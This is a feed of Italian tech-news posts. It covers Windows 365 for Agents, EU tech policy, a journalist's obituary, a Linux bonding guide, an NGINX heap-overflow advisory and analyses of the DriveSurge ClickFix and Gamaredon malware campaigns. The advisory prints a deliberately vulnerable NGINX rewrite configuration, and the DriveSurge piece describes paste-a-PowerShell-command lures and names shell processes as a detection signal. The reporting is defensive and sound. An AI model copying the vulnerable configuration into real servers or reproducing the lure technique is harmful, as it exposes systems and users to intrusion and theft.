La superficie di controllo in-session usa il Model Context Protocol (MCP), lo stesso protocollo che permette agli agenti AI di scoprire e chiamare strumenti esterni in modo standardizzato.

Modello di sicurezza e identità


I Cloud PC for Agents sono Microsoft Entra-joined e Intune-enrolled. Ogni agente opera con una propria identità dedicata in Microsoft Entra — non viene riutilizzata o impersonata l’identità di un utente umano. Questo è un punto importante per la governance: ogni azione dell’agente è tracciabile e attribuibile a un’identità specifica.

Il supporto attuale alle Conditional Access per le identità agente include il controllo Block access, ma Microsoft chiarisce che non è ancora un sostituto completo per tutti i pattern di Conditional Access usati con gli utenti umani. Da tenere in considerazione prima di portare in produzione scenari critici.

Come configurare Windows 365 for Agents


Il processo di configurazione richiede alcuni prerequisiti:

  • Una licenza Windows 365 o Agent 365 nel tenant
  • Un piano di billing Windows 365 for Agents attivo
  • Opzionalmente, utenti agente in Agent 365


Passo 1: creare la Billing Policy


Nel Microsoft 365 admin center, andare su Billing & usage → Billing policies. Selezionare una sottoscrizione Azure, un resource group e una regione, quindi abilitare Windows 365 for Agents sotto Pay-as-you-go services.

Passo 2: creare la Provisioning Policy per agenti


Nel Microsoft Intune admin center, navigare su Devices → Provision Cloud PCs → Provisioning policies (Agents) → Create policy. La procedura guidata richiede:

  • Nome della policy
  • Piano di billing
  • Numero di Cloud PC always-available (da 1 a 200)
  • Area geografica
  • Agenti assegnati
  • Immagine e impostazioni di lingua

Nota: i gruppi utente non sono attualmente supportati per l’assegnazione degli agenti. Il provisioning richiede circa 20-30 minuti.

Monitoraggio e costi


I Cloud PC for Agents sono visibili in Intune admin center sotto Devices → All devices. Si riconoscono dal prefisso CPCA- nel nome, dal modello Cloud PC for Agents e dal profilo di enrollment che riporta il nome della provisioning policy.

Per monitorare la capacità del pool: Devices → Provision Cloud PCs → Provisioning policies (Agents), selezionare una policy e verificare le sessioni attive e disponibili.

Sul fronte dei costi (area US):

  • Pay-as-you-go: $0,40 per ora (arrotondato all’ora intera successiva)
  • Always-available Cloud PC: $5 per Cloud PC al mese, in aggiunta al billing a consumo

I costi sono tracciabili in Azure Cost Management filtrando per il tag Windows365foragents.

Quando usarlo — e quando no


Windows 365 for Agents è utile principalmente quando un agente deve interagire con un’interfaccia utente: workflow basati su browser, applicazioni legacy senza API affidabili, o software desktop non modernizzato. Se invece il workflow può essere completato tramite API o connettori, Microsoft stesso raccomanda di usare Agent 365 direttamente, senza passare per Windows 365 for Agents.

Dato che la documentazione operativa è ancora limitata — soprattutto sui dettagli di troubleshooting avanzato — Microsoft consiglia di trattare le prime implementazioni come controlled pilot piuttosto che come rollout di produzione su larga scala.

Conclusione


Windows 365 for Agents rappresenta un’evoluzione logica della piattaforma Cloud PC verso il mondo dell’automazione agentiva. Per gli amministratori IT che gestiscono ambienti ibridi con applicazioni legacy, offre un percorso strutturato per integrare agenti AI senza sacrificare la governance di identità e sicurezza. Vale la pena monitorarne l’evoluzione, in particolare quando la preview si estenderà alle region europee.

Fonte: Windows 365 for Agents: Cloud PCs for AI automation — 4sysops


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Dal 4 giugno, Qwant sostituirà Google come motore di ricerca predefinito sui computer del Parlamento Europeo

La decisione mira a ridurre la dipendenza da servizi extra-UE e a promuovere la privacy, pur rimanendo facoltativa per il personale.

#ParlamentoEuropeo #Qwant #Privacy #TechSovereignty #UE

dday.it/redazione/57614/qwant-…

@informatica

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Carola Frediani non ha mai fatto sconti alla tecnologia. La sua voce ci mancherà. Il ricordo di @Luke_like

Giornalista, esperta di cybersecurity e diritti digitali, è morta a 51 anni. A Wired la ricordiamo per il suo grande contributo al dibattito critico sulla tecnologia

wired.it/article/carola-fredia…

@informatica

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AI sotto controllo federale in USA: cosa cambia davvero con l’ordine esecutivo di Trump


@Informatica (Italy e non Italy)
Il provvedimento segna una svolta rispetto all'approccio finora permissivo che la Casa Bianca aveva adottato fin dal ritorno di Trump alla presidenza. Ma s'inquadra in uno scenario globale in cui il dibattito sulla governance dell'IA si

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In memoria di Carola Frediani. Il ricordo di Dyne per la scomparsa della più brava giornalista italiana di temi cybersec

Carola era più di una semplice giornalista tecnologica: la sua voce, sempre precisa e indipendente, illuminava fatti profondi, condividendo con il pubblico le complessità tecniche, politiche e umane delle storie che raccontava.

news.dyne.org/in-memory-of-car…

@informatica

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La Commissione Europea propone un pacchetto sulla sovranità tecnologica per rafforzare l'autonomia e la resilienza digitale dell'Europa.

@Informatica (Italy e non Italy)

La Commissione ha presentato oggi il Pacchetto sulla sovranità tecnologica europea , un insieme di misure volte a rafforzare le capacità dell'Europa nei settori dei semiconduttori, dell'intelligenza artificiale (IA), del cloud e dell'open source.
La presidente della Commissione, Ursula von der Leyen, ha dichiarato:

“Non possiamo permetterci di dipendere da altri per le tecnologie che garantiscono il funzionamento dei nostri ospedali, la stabilità delle nostre reti energetiche e la sicurezza dei nostri servizi. Si tratta di proteggere i nostri cittadini, difendere i nostri interessi e fare le nostre scelte. L'Europa ha il talento, l'eccellenza nella ricerca, la base industriale e il mercato unico. Insieme, dobbiamo trasformare questi punti di forza in sovranità tecnologica”.

Il pacchetto comprende due proposte legislative - il Chips Act 2.0 e il Cloud and AI Development Act - nonché la strategia per l'open source e una tabella di marcia strategica per la digitalizzazione e l'intelligenza artificiale nel settore energetico .

ec.europa.eu/commission/pressc…

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CVE-2026-42945 (NGINX Rift): vulnerabilità critica attivamente sfruttata — aggiornare subito
#tech
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@informatica


CVE-2026-42945 (NGINX Rift): vulnerabilità critica attivamente sfruttata — aggiornare subito


Il 13 maggio 2026 il team di ricerca di Depthfirst ha reso pubblici i dettagli tecnici di CVE-2026-42945, una vulnerabilità critica nel modulo ngx_http_rewrite_module di NGINX, immediatamente ribattezzata NGINX Rift. Appena tre giorni dopo la divulgazione, i sistemi canary di VulnCheck hanno rilevato tentativi di sfruttamento attivo in the wild. Con oltre 5,7 milioni di istanze NGINX esposte su Internet che eseguono versioni potenzialmente vulnerabili, questo CVE richiede attenzione immediata da parte di tutti gli amministratori di sistema.

Cos’è e come funziona la vulnerabilità


CVE-2026-42945 è una vulnerabilità di memory corruption (heap-based buffer overflow) che risiede nel modulo di riscrittura URL di NGINX. Il problema nasce da un errore nel calcolo del buffer di destinazione quando vengono usate capture non nominati (i riferimenti $1, $2, ecc.) nelle direttive rewrite.

Il bug si manifesta quando sono presenti tutte e tre queste condizioni nella configurazione di NGINX:

  1. Una direttiva rewrite con capture non nominati (es. $1, $2)
  2. Una stringa di sostituzione che contiene un punto interrogativo (parametri GET)
  3. Un’ulteriore direttiva rewrite, if, o set successiva

In questa configurazione, NGINX calcola la dimensione del buffer usando un insieme di assunzioni sull’escape dei caratteri, ma poi scrive nel buffer con assunzioni diverse. Il risultato è una scrittura oltre i limiti del buffer allocato — un classico heap overflow. La cosa particolarmente insidiosa è che i byte scritti oltre il buffer sono determinati dall’URI dell’attaccante, rendendo la corruzione controllabile e quindi molto più pericolosa di un semplice crash casuale.

Esempio di configurazione vulnerabile


Ecco un pattern di configurazione che espone l’istanza NGINX all’exploit:

server {
    listen 80;
    server_name example.com;

    location / {
        # Configurazione VULNERABILE: capture non nominato ($1) + "?" nella sostituzione
        rewrite ^/vecchio/(.*)$ /nuovo/?id=$1 last;
        
        # La presenza di questa seconda direttiva aggrava il problema
        rewrite ^/nuovo/(.*)$ /index.php?path=$1 last;
    }
}

La versione sicura usa capture nominati:
server {
    listen 80;
    server_name example.com;

    location / {
        # Configurazione SICURA: uso di capture nominati
        rewrite ^/vecchio/(?P<slug>.*)$ /nuovo/?id=${slug} last;
        rewrite ^/nuovo/(?P<path>.*)$ /index.php?path=${path} last;
    }
}

Impatto: DoS garantito, RCE possibile


L’impatto della vulnerabilità dipende dalla configurazione del sistema operativo:

  • Denial of Service (DoS): ottenibile su qualsiasi configurazione NGINX vulnerabile. Richieste HTTP ripetute mantengono i worker process in un crash loop, degradando la disponibilità di tutti i virtual host serviti dall’istanza.
  • Remote Code Execution (RCE): teoricamente possibile, ma richiede che l’Address Space Layout Randomization (ASLR) sia disabilitata sul server target. Su sistemi Linux moderni con ASLR abilitata (la configurazione predefinita), il RCE è significativamente più difficile da ottenere.

Il proof-of-concept pubblico rilasciato da Depthfirst dimostra il DoS in modo affidabile e ripetibile.

Versioni affette


La vulnerabilità colpisce:

  • NGINX Open Source: versioni dalla 0.6.27 alla 1.30.0 inclusa
  • NGINX Plus: versioni dalla R32 alla R36
  • Prodotti F5 che incorporano NGINX: NGINX Ingress Controller, F5 WAF for NGINX, F5 DoS for NGINX e altri


Come verificare la propria esposizione


Prima di aggiornare, è utile capire se la propria configurazione è effettivamente sfruttabile. Non basta avere una versione vulnerabile: è necessario che sia presente il pattern di configurazione critico.

Cerca nelle tue configurazioni il pattern problematico:

# Cerca direttive rewrite con $1, $2, ecc. seguite da "?"
grep -rn 'rewrite.*\$[0-9].*?' /etc/nginx/

# Verifica la versione installata
nginx -v

Su sistemi Debian/Ubuntu puoi controllare se il pacchetto è già stato aggiornato:
apt-cache policy nginx
apt-cache policy nginx-full

Patch e mitigazioni disponibili


F5 ha già rilasciato le versioni corrette:

  • NGINX Open Source 1.31.0 (versione mainline) e 1.30.1 (versione stable)
  • NGINX Plus R36 P4 e R32 P6
  • F5 WAF for NGINX v5.13.0
  • F5 DoS for NGINX v4.9.0

Le principali distribuzioni Linux stanno rilasciando pacchetti aggiornati:

# Debian/Ubuntu
sudo apt update && sudo apt upgrade nginx

# AlmaLinux/RHEL/CentOS
sudo dnf update nginx

# Verifica la versione dopo l'aggiornamento
nginx -v && nginx -t

Se non è possibile aggiornare immediatamente, la mitigazione ufficiale di F5 consiste nel convertire tutti i capture non nominati in capture nominati nelle direttive rewrite, come mostrato nell’esempio di configurazione sicura sopra.

Considerazioni operative


Alcuni aspetti pratici da tenere a mente durante la risposta a questo incidente:

L’aggiornamento di NGINX su sistemi in produzione richiede tipicamente un graceful reload (nginx -s reload) che non interrompe le connessioni esistenti. Tuttavia, se si installa una nuova versione del pacchetto, potrebbe essere necessario un riavvio del processo:

# Reload della configurazione (zero-downtime)
nginx -s reload

# Oppure tramite systemd
systemctl reload nginx

# Riavvio completo (se necessario dopo aggiornamento del binario)
systemctl restart nginx

Per ambienti containerizzati con NGINX come base image, è necessario ricostruire e ridistribuire i container aggiornando la versione base dell’immagine. Se si usa NGINX Ingress Controller su Kubernetes, aggiornare il deployment del controller.

Conclusione


CVE-2026-42945 è una vulnerabilità seria che merita risposta rapida. Sebbene non tutte le istanze NGINX siano sfruttabili (dipende dalla configurazione delle direttive rewrite), il DoS è ottenibile su qualsiasi sistema vulnerabile con il pattern critico e lo sfruttamento attivo è già confermato. La patch è disponibile, la migrazione alla versione 1.30.1 o 1.31.0 è il percorso consigliato. In alternativa, la conversione ai capture nominati nelle configurazioni rewrite offre una mitigazione efficace nell’immediato.

Fonti: Help Net Security, Depthfirst Security Research, F5 Security Advisory K000161019, VulnCheck


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Linux Network Bonding: configurare la ridondanza e il bilanciamento del carico delle interfacce di rete
#tech
spcnet.it/linux-network-bondin…
@informatica


Linux Network Bonding: configurare la ridondanza e il bilanciamento del carico delle interfacce di rete


Cos’è il Network Bonding su Linux?


Il network bonding (detto anche NIC bonding, link aggregation o NIC teaming) è una tecnica che consente di unire due o più interfacce di rete fisiche in un’unica interfaccia logica. Il risultato? Maggiore larghezza di banda, ridondanza contro i guasti, o entrambi — a seconda della modalità scelta.

Il kernel Linux gestisce tutto questo tramite il modulo bonding, disponibile di default in quasi tutte le distribuzioni moderne. L’interfaccia bond appare al sistema operativo e alle applicazioni come una singola NIC: tutto il traffico la attraversa in modo trasparente.

Importante: il bonding non è la stessa cosa del bridging. Un bridge connette segmenti di rete separati; il bonding aggrega più interfacce in una sola. Scopo diverso, configurazione diversa. Inoltre, le interfacce Wi-Fi generalmente non sono compatibili con il bonding — i driver wireless non supportano la modalità promiscua e la manipolazione dei MAC address che il bonding richiede. Usate esclusivamente NIC Ethernet cablate.

Le 7 modalità di bonding


La scelta della modalità è la decisione più importante nell’intera configurazione. Ecco una panoramica pratica:

Mode 0 — Round-Robin (balance-rr)


I pacchetti vengono trasmessi in sequenza su tutte le interfacce. Offre bilanciamento del carico e tolleranza ai guasti, ma richiede una configurazione di static link aggregation sullo switch. Senza di essa si verificano pacchetti fuori sequenza e prestazioni scadenti.

Mode 1 — Active-Backup


Una sola interfaccia è attiva alla volta. Se quella attiva cade, subentra immediatamente una di riserva. Non richiede configurazione sullo switch: è la modalità più sicura e compatibile. Usatela se il vostro obiettivo è la pura ridondanza.

Mode 4 — 802.3ad (LACP)


Link Aggregation dinamica secondo lo standard IEEE 802.3ad. Richiede uno switch gestito con LACP abilitato. È la modalità più usata in ambienti enterprise: se il vostro switch lo supporta, questa è la scelta per la produzione.

Mode 6 — Balance-ALB


Bilancia sia il traffico in uscita sia quello in entrata tramite negoziazione ARP. Non richiede configurazione sullo switch: ottima scelta per home lab o server senza switch gestiti.

Per home lab senza switch gestito: Mode 1 (failover) o Mode 6 (load balancing). Per server di produzione con switch gestito: Mode 4 (LACP).

Prerequisiti


Prima di iniziare, verificate di avere:

  • Due o più NIC fisiche (o virtuali, in una VM)
  • Accesso root o sudo
  • Il modulo bonding del kernel (incluso nella maggior parte delle distribuzioni)

Verificate che il modulo sia disponibile:

modinfo bonding

Caricatelo immediatamente se necessario:
sudo modprobe bonding

Identificate le vostre interfacce prima di toccare qualsiasi configurazione:
ip link show

Sui sistemi moderni vedrete nomi come enp3s0, enp4s0 oppure eth0, eth1. Annotateli.

Metodo 1: NetworkManager con nmcli (desktop e server moderni)


Se usate Ubuntu, Fedora, Debian con NetworkManager o qualsiasi distribuzione desktop, questo è l’approccio più diretto. NetworkManager supporta il bonding in modo nativo da anni.

Creare prima l’interfaccia bond:

sudo nmcli con add type bond con-name bond0 ifname bond0 bond.options "mode=active-backup,miimon=100"

Aggiungere le interfacce fisiche come slave del bond:
sudo nmcli con add type ethernet slave-type bond con-name bond0-slave1 ifname enp3s0 master bond0
sudo nmcli con add type ethernet slave-type bond con-name bond0-slave2 ifname enp4s0 master bond0

Assegnare un indirizzo IP statico al bond:
sudo nmcli con modify bond0 ipv4.addresses 192.168.1.100/24 ipv4.gateway 192.168.1.1 ipv4.dns 1.1.1.1 ipv4.method manual

Oppure usare DHCP:
sudo nmcli con modify bond0 ipv4.method auto

Attivare la connessione:
sudo nmcli con up bond0

Verificare che il bond funzioni:
cat /proc/net/bonding/bond0

L’output mostrerà l’interfaccia slave attiva, lo stato MII, velocità e duplex di ogni NIC. Questo file è il vostro migliore alleato per il troubleshooting.

Metodo 2: systemd-networkd (server e installazioni minimali)


Per server senza NetworkManager, systemd-networkd gestisce il bonding in modo pulito. Adatto a Ubuntu Server, Debian minimale e configurazioni snelle.

Creare il file netdev per il bond:

sudo nano /etc/systemd/network/10-bond0.netdev
[NetDev]
Name=bond0
Kind=bond

[Bond]
Mode=active-backup
MIIMonitorSec=100ms
UpDelaySec=200ms
DownDelaySec=200ms

Configurare la rete per l’interfaccia bond:
sudo nano /etc/systemd/network/20-bond0.network
[Match]
Name=bond0

[Network]
DHCP=yes

Creare un file per ogni interfaccia slave (uno per NIC):
sudo nano /etc/systemd/network/30-bond0-slave1.network
[Match]
Name=enp3s0

[Network]
Bond=bond0

Riavviare il servizio e verificare:
sudo systemctl restart systemd-networkd
cat /proc/net/bonding/bond0

Metodo 3: Netplan (Ubuntu Server 18.04+)


Ubuntu Server usa Netplan come layer di configurazione di rete predefinito. Modificate il file di configurazione (di solito /etc/netplan/01-netcfg.yaml):

network:
  version: 2
  renderer: networkd
  ethernets:
    enp3s0:
      dhcp4: no
    enp4s0:
      dhcp4: no
  bonds:
    bond0:
      interfaces:
        - enp3s0
        - enp4s0
      addresses:
        - 192.168.1.100/24
      routes:
        - to: default
          via: 192.168.1.1
      nameservers:
        addresses:
          - 1.1.1.1
      parameters:
        mode: active-backup
        mii-monitor-interval: 100
        primary: enp3s0

Applicare la configurazione:
sudo netplan apply

Consiglio: su macchine remote, usate sudo netplan try prima di applicare definitivamente. Il comando applica la configurazione temporaneamente e la ripristina automaticamente dopo 120 secondi se non viene confermata — una rete di sicurezza preziosa.

Test del failover


Una volta configurato il bond, testate che il failover funzioni davvero. Con il bond attivo, simulate il guasto di una NIC scollegando fisicamente il cavo o disabilitando l’interfaccia via software:

sudo ip link set enp3s0 down

Il traffico dovrebbe continuare a fluire sull’interfaccia secondaria senza interruzioni percepibili. Verificate:
cat /proc/net/bonding/bond0

Il campo Currently Active Slave mostrerà la NIC di backup ora attiva.

Comandi utili per il monitoraggio

# Stato dettagliato del bond
cat /proc/net/bonding/bond0

# Statistiche di traffico per interfaccia
ip -s link show bond0

# Link failure count per slave
grep -A2 "Slave Interface" /proc/net/bonding/bond0

Problemi comuni e soluzioni


L’interfaccia bond non ha IP dopo il reboot: verificate che le connessioni NetworkManager siano impostate su autoconnect, oppure che i file systemd-networkd siano nel percorso corretto (/etc/systemd/network/).

Un solo slave risulta attivo anche in modalità round-robin o LACP: lo switch non è configurato correttamente per il LAG. Controllate la configurazione delle porte sullo switch.

I ping drop durano più del previsto durante il failover: aumentate il valore di UpDelaySec/DownDelaySec — un valore troppo basso può causare flapping. Valori tipici: 200ms per il down, 0ms per l’up.

Conclusione


Il network bonding su Linux è una soluzione matura, stabile e sorprendentemente semplice da configurare su distribuzioni moderne. Che vogliate ridondanza per un server critico o maggiore throughput per trasferimenti locali, i tre metodi descritti — nmcli, systemd-networkd e Netplan — coprono la quasi totalità degli scenari reali. Iniziate con Mode 1 (active-backup) se siete alle prime armi: non richiede switch gestito ed entra in produzione in pochi minuti.

Fonte: Linux Network Bonding: Combine Network Interfaces — LinuxBlog.io


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Ciao Carola


@Informatica (Italy e non Italy)
Ci sono notizie che arrivano come un pugno nello stomaco. Quella della morte di Carola Frediani è una di quelle. Per chi vive e lavora nel mondo della cybersecurity italiana, Carola non era semplicemente una giornalista. Era una presenza costante. Una delle poche persone capaci di osservare il nostro settore con lucidità, spirito critico e […]
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Ciao Carola


Ci sono notizie che arrivano come un pugno nello stomaco.

Quella della morte di Carola Frediani è una di quelle.

Per chi vive e lavora nel mondo della cybersecurity italiana, Carola non era semplicemente una giornalista. Era una presenza costante. Una delle poche persone capaci di osservare il nostro settore con lucidità, spirito critico e una rara capacità di distinguere il rumore dai fatti.

In un’epoca in cui tutto deve essere urgente, allarmistico e spettacolare, Carola aveva scelto una strada diversa: quella della comprensione.

Leggevo con attenzione la sua newsletter, seguivo i suoi articoli, i suoi approfondimenti, il suo modo di raccontare la tecnologia e la sicurezza informatica senza mai cedere alla superficialità. Riusciva a parlare tanto agli addetti ai lavori quanto a chi si avvicinava per la prima volta a questi temi, senza mai banalizzare la complessità.

Ricordo ancora con orgoglio una circostanza che mi aveva particolarmente colpito: quando citò un articolo pubblicato sul mio blog all’interno di uno dei suoi approfondimenti (la newsletter Guerre di rete sul caso SIAE) dedicati a un caso nazionale. Un gesto probabilmente normale per chi fa giornalismo con serietà, ma che per me rappresentò un riconoscimento importante. Non tanto perché proveniva da una figura autorevole del settore, quanto perché arrivava da una persona che aveva costruito la propria credibilità sulla competenza e sull’onestà intellettuale.

Negli anni, Carola è stata una delle voci che hanno contribuito a definire il dibattito italiano sulla sorveglianza digitale, sul cybercrime, sulla sicurezza delle infrastrutture, sui diritti digitali e sulle implicazioni sociali delle tecnologie che utilizziamo ogni giorno.

Ha insegnato a molti di noi che la cybersecurity non riguarda soltanto malware, ransomware e vulnerabilità. Riguarda soprattutto persone. Riguarda libertà, informazione, potere e responsabilità.

Forse è proprio questo che rende oggi così difficile accettare questa notizia.

Perché quando scompare una persona come Carola, non perdiamo soltanto una professionista. Perdiamo una voce autorevole, indipendente e profondamente necessaria.

In un settore che spesso premia chi urla più forte, lei ha dimostrato che si può lasciare un segno anche parlando con calma, documentandosi con rigore e mantenendo sempre uno sguardo umano sulle storie che raccontava.

Oggi la comunità italiana della cybersecurity è un po’ più povera.

E molti di noi si sentono improvvisamente più soli.

Grazie, Carola, per tutto quello che hai scritto, spiegato e raccontato.

Grazie per aver contribuito a costruire una cultura della sicurezza informatica più matura, più consapevole e più umana.

Ci mancherai.


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Aggiornamenti Android giugno 2026: corretta una zero-day già sfruttata in attacchi mirati


@Informatica (Italy e non Italy)
Google rilascia il bollettino di sicurezza Android per il mese di giugno 2026 con patch per 124 vulnerabilità, tra cui la zero-day CVE-2025-48595 già attivamente sfruttata. Ecco l'analisi tecnica e le contromisure per aziende e

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ChatGPhish, così una pagina web malevola trasforma l’AI in strumento di phishing


@Informatica (Italy e non Italy)
La nuova tecnica di attacco ribattezzata ChatGPhish dimostra che, nell’era dell’intelligenza artificiale, anche la semplice consultazione di una pagina web può trasformarsi in un’opportunità per gli attaccanti di manipolare la percezione degli utenti

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✨ DriveSurge e il sistema zTDS: migliaia di siti dirottati per distribuire ClickFix e FakeUpdates su Windows e macOS
#CyberSecurity
insicurezzadigitale.com/drives…

@informatica


DriveSurge e il sistema zTDS: migliaia di siti dirottati per distribuire ClickFix e FakeUpdates su Windows e macOS


Si parla di:
Toggle

Un gruppo di cybercriminali tracciato come DriveSurge ha costruito un’infrastruttura di distribuzione malware su scala industriale, dirottando migliaia di siti web legittimi per veicolare campagne ClickFix e FakeUpdates. Dietro l’operazione si cela il sistema di distribuzione del traffico zTDS, che seleziona dinamicamente la trappola più efficace per ciascuna vittima. Il target: qualunque utente Windows o macOS che visiti un sito compromesso.

Chi è DriveSurge e cosa fa zTDS


DriveSurge è un threat actor di tipo malware-as-a-service specializzato nella distribuzione massiva di payload attraverso siti web compromessi. La sua infrastruttura operativa si regge sul Traffic Distribution System zTDS, un sistema sofisticato che analizza i visitatori in tempo reale — sistema operativo, geolocalizzazione, browser, orario di accesso — e li reindirizza verso la trappola ottimale, scelta tra due filoni principali: ClickFix o FakeUpdates.

I ricercatori di SilentPush hanno documentato la campagna, rilevando che DriveSurge gestisce attivamente una rete di traffic broker che monetizzano il traffico dai siti compromessi indirizzandolo verso le campagne di distribuzione. Si tratta di un modello di business criminale consolidato: chi compromette i siti raccoglie il traffico e lo vende; DriveSurge compra quel traffico e lo converte in infezioni.

ClickFix: il trucco psicologico che bypassa l’antivirus


La tecnica ClickFix si basa su un principio di social engineering brutalmente efficace: mostrare all’utente un messaggio di errore fasullo — tipicamente un avviso del browser o di un’applicazione — che invita a “risolvere il problema” incollando ed eseguendo manualmente un comando nella console PowerShell o nel terminale.

Il vantaggio per gli attaccanti è che l’utente diventa il vettore di infezione: non serve exploit, non serve privilege escalation — è la vittima stessa a lanciare il payload con i propri privilegi. Il comando incollato è solitamente una lunga stringa offuscata che scarica ed esegue il malware direttamente dalla memoria, senza scrivere file su disco che possano essere rilevati dall’antivirus.

Nella versione DriveSurge, i lure ClickFix impersonano avvisi di Google Chrome, Microsoft Edge o applicazioni enterprise, con messaggi localizzati nella lingua del visitatore. Il comando finale tipicamente esegue uno script PowerShell che:

  • Scarica un payload cifrato da un dominio compromesso o da un CDN legittimo abusato
  • Lo decifra in memoria ed esegue il dropper
  • Installa un infostealer (Lumma Stealer, Vidar, o varianti custom) o un RAT
  • Aggiunge persistenza tramite scheduled task o chiavi di registro


FakeUpdates: il classico che non tramonta


Il secondo filone, FakeUpdates (noto anche come SocGholish), simula un prompt di aggiornamento del browser: una pagina sovrapposta al sito legittimo mostra un finto avviso di aggiornamento critico per Chrome, Firefox o Edge, invitando a scaricare un file .zip o .js che contiene il dropper.

La novità documentata da SilentPush nella campagna DriveSurge è l’estensione a macOS: oltre ai target Windows classici, il sistema zTDS identifica i visitatori Apple e li reindirizza verso una variante della campagna che distribuisce script JavaScript malevoli ottimizzati per l’ecosistema macOS, scaricando payload .dmg o .pkg firmati con certificati sviluppatore ottenuti fraudolentemente.

Infrastruttura e scala dell’operazione


La campagna sfrutta migliaia di siti web WordPress, Joomla e Magento compromessi come stager di primo livello: il codice iniettato nel sito vittima è minimo e difficile da rilevare — spesso poche righe di JavaScript offuscato aggiunte a file tema o plugin — che si limita a interrogare l’infrastruttura zTDS per decidere se mostrare o meno il lure al visitatore.

Questa architettura “many-to-one” offre a DriveSurge una resilienza elevata: anche se decine di siti vengono ripuliti, l’infrastruttura centrale rimane intatta e la campagna continua su altri domini. Il sistema zTDS applica anche un meccanismo di frequency capping: lo stesso indirizzo IP non riceve il lure più di una volta in una finestra temporale definita, riducendo il rischio che ricercatori di sicurezza o sistemi automatizzati di crawling identifichino i siti compromessi.

Implicazioni per i difensori


La campagna DriveSurge richiede un approccio difensivo stratificato, poiché aggira molti controlli tradizionali:

  • Blocco delle esecuzioni PowerShell da clipboard: configurare Windows Defender Application Control (WDAC) o AppLocker per limitare l’esecuzione di PowerShell non firmato lanciato interattivamente riduce drasticamente l’efficacia di ClickFix.
  • Proxy DNS con blocco dei redirect sospetti: i sistemi zTDS usano catene di redirect multi-hop; una soluzione DNS filtering (Cisco Umbrella, Cloudflare Gateway) che blocchi i redirect a dominio nuovo può interrompere la catena prima che la vittima veda il lure.
  • Awareness degli utenti: il vettore ClickFix è efficace perché convincente — investire in training specifico su “nessun sito legittimo ti chiede mai di aprire PowerShell e incollare comandi” ha un ROI alto.
  • Monitoraggio dei processi figli di browser: un browser che lancia powershell.exe, cmd.exe o wscript.exe come processo figlio è un segnale forte di ClickFix in esecuzione — aggiungere questa detection nelle regole EDR.
  • Hardening dei CMS: verificare regolarmente l’integrità dei file JavaScript dei propri siti WordPress/Joomla/Magento — i propri siti potrebbero essere già usati come stager di DriveSurge a insaputa degli amministratori.

DriveSurge dimostra che ClickFix e FakeUpdates non sono tecniche in declino: l’adozione di un TDS sofisticato come zTDS e l’espansione a macOS segnalano un investimento operativo continuo e una struttura criminale in crescita. La semplicità del vettore — fare in modo che sia l’utente a eseguire il malware — lo rende uno degli attacchi più difficili da bloccare con soli controlli tecnici.


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✨ Gamaredon sfrutta CVE-2025-8088 in WinRAR per distribuire GammaWorm e GammaSteel contro l’Ucraina
#CyberSecurity
insicurezzadigitale.com/gamare…

@informatica


Gamaredon sfrutta CVE-2025-8088 in WinRAR per distribuire GammaWorm e GammaSteel contro l’Ucraina


Si parla di:
Toggle

Il gruppo russo Gamaredon, legato all’FSB (Federalnaya Sluzhba Bezopasnosti), ha intensificato le sue operazioni contro l’Ucraina sfruttando una vulnerabilità recentemente scoperta in WinRAR per distribuire una sofisticata catena di malware multi-stadio. La campagna, osservata dai ricercatori di Sekoia nel gennaio 2026, utilizza una sequenza di payload denominati GammaPhish, GammaLoad, GammaWorm e GammaSteel — strumenti progettati per persistenza a lungo termine, propagazione laterale e esfiltrazione massiva di dati sensibili.

La vulnerabilità sfruttata: CVE-2025-8088


Il vettore iniziale di compromissione è la CVE-2025-8088, un path traversal flaw in WinRAR che consente l’estrazione di file in percorsi arbitrari del filesystem, incluse directory di avvio e cartelle di sistema. L’exploit si concretizza attraverso archivi RAR appositamente costruiti che, all’apertura, rilasciano silenziosamente un file HTA (HTML Application) denominato GammaPhish. La scelta di WinRAR come vettore non è casuale: il software è praticamente onnipresente negli ambienti governativi e militari ucraini, e Gamaredon ha già in passato sfruttato archivi RAR malevoli come vettore principale delle proprie campagne di spear-phishing.

La catena d’infezione: da GammaPhish a GammaSteel


Una volta eseguito, GammaPhish lancia GammaLoad, un downloader scritto in VBScript con tre funzioni primarie: fingerprinting del sistema host, aggiornamento della configurazione di rete nel registro di Windows tramite dead drop resolver (DDR), e recupero ed esecuzione di payload VBScript aggiuntivi dai server C2 dell’attaccante.

Da GammaLoad si biforcano i principali payload operativi. Il primo è GammaWorm, un worm VBScript progettato per garantire persistenza e propagazione laterale: stabilisce scheduled task come meccanismo di persistenza, poi individua le condivisioni di rete e i drive USB connessi al sistema infetto, ne nasconde le directory legittime e le sostituisce con file LNK (Windows Shortcut) malevoli. Quando una vittima nella rete clicca su uno di questi shortcut, viene scaricato ed eseguito codice arbitrario dal C2. Per risolvere l’indirizzo del server di comando, GammaWorm effettua una GET request tramite curl verso un canale Telegram pubblico hard-coded, sfruttando la legittimità della piattaforma per evadere i controlli di rete. I moduli core del worm vengono nascosti tramite NTFS Alternate Data Streams (ADS), rendendoli invisibili ai tool standard di ispezione del filesystem.

Il secondo payload principale è GammaSteel, un infostealer modulare che cattura file corrispondenti a specifiche estensioni (documenti Office, PDF, archivi, configurazioni) ed esfiltrate verso un bucket Amazon Web Services S3 controllato dagli attaccanti, con un server di fallback alternativo. La flessibilità dell’architettura permette anche la distribuzione di GammaWipe (GamaWiper), un componente distruttivo attivabile selettivamente a seconda degli obiettivi operativi.

Chi è Gamaredon e perché rappresenta una minaccia persistente


Gamaredon (noto anche come Primitive Bear, ACTINIUM, Armageddon, UAC-0010) è un APT attribuito ufficialmente all’FSB russo, specificamente al suo Centro 18 operante dalla Crimea. Attivo dal 2013, il gruppo si concentra quasi esclusivamente su target ucraini — enti governativi, militari, forze dell’ordine, organizzazioni del settore energetico — con campagne quasi ininterrotte che combinano spear-phishing tramite allegati RAR malevoli, malware custom VBScript e PowerShell, e tecniche di living-off-the-land. A differenza di gruppi più furtivi come APT29 o Turla, Gamaredon privilegia volume e persistenza, aggiornando costantemente i propri tool per sfuggire al rilevamento. L’analisi di Sekoia descrive questa architettura come “resiliente, massiva e altamente offuscata”: la capacità di aggiornare le configurazioni on the fly tramite Telegram DDR rende estremamente difficile bloccare le comunicazioni C2.

Campagne parallele: il fronte ucraino sotto attacco multiplo


